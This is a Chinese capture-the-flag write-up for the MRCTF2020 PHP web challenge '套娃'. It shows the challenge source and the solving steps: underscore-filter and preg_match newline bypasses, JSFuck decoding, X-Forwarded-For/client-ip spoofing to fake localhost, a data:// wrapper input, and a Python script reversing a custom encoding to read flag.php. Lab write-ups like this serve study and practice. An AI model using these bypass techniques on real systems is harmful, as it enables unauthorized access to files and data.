[MRCTF2020]套娃
首页长这样
//1st
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
第一个if利用php对传入查询字符串中特殊字符的处理来绕过
第二个if利用preg_match的性质，即在非多行模式下，$会忽略在句尾的%0a来绕过
/?b.u.p.t=23333%0a
how smart you are ~
FLAG is in secrettw.php
/secrettw.php
Flag is here~But how to get it?Local access only!
Sorry,you don't have permission! Your ip is :sorry,this way is banned!
源代码里面有一长串奇怪的东西
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没头绪，最后看wp知道是jsfuck
直接粘贴到console里面就能运行啦
那就post一个
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
getIp的绕过，通过设置X-Forwarded-For或client-ip来实现
X-Forwarded-For: 127.0.0.1
client-ip: 127.0.0.1
$_GET['2333']直接使用data伪协议绕过
/secrettw.php?2333=data://text/plain,todat is a happy day
要求change($_GET['file'])的结果是flag.php
change函数先对输入进行一次base64解码，然后将第i个位置的字符加上2 * i
import base64
raw_str = input().encode('utf-8')
new_str = ''
for i in range(len(raw_str)):
new_str += chr(raw_str[i] - 2 * i)
print(base64.b64encode(new_str.encode('utf-8')))
> flag.php
b'ZmpdYSZmXGI='
&file=ZmpdYSZmXGI=
Your REQUEST is:flag.php
<?php
$flag = 'flag{6a8becb5-f928-4f50-8156-725725736088}';
echo "Flag is here~But how to get it?";
?>
#Web #PHP #bypass #HTTP #伪协议 #encoding #jsfuck #function #Header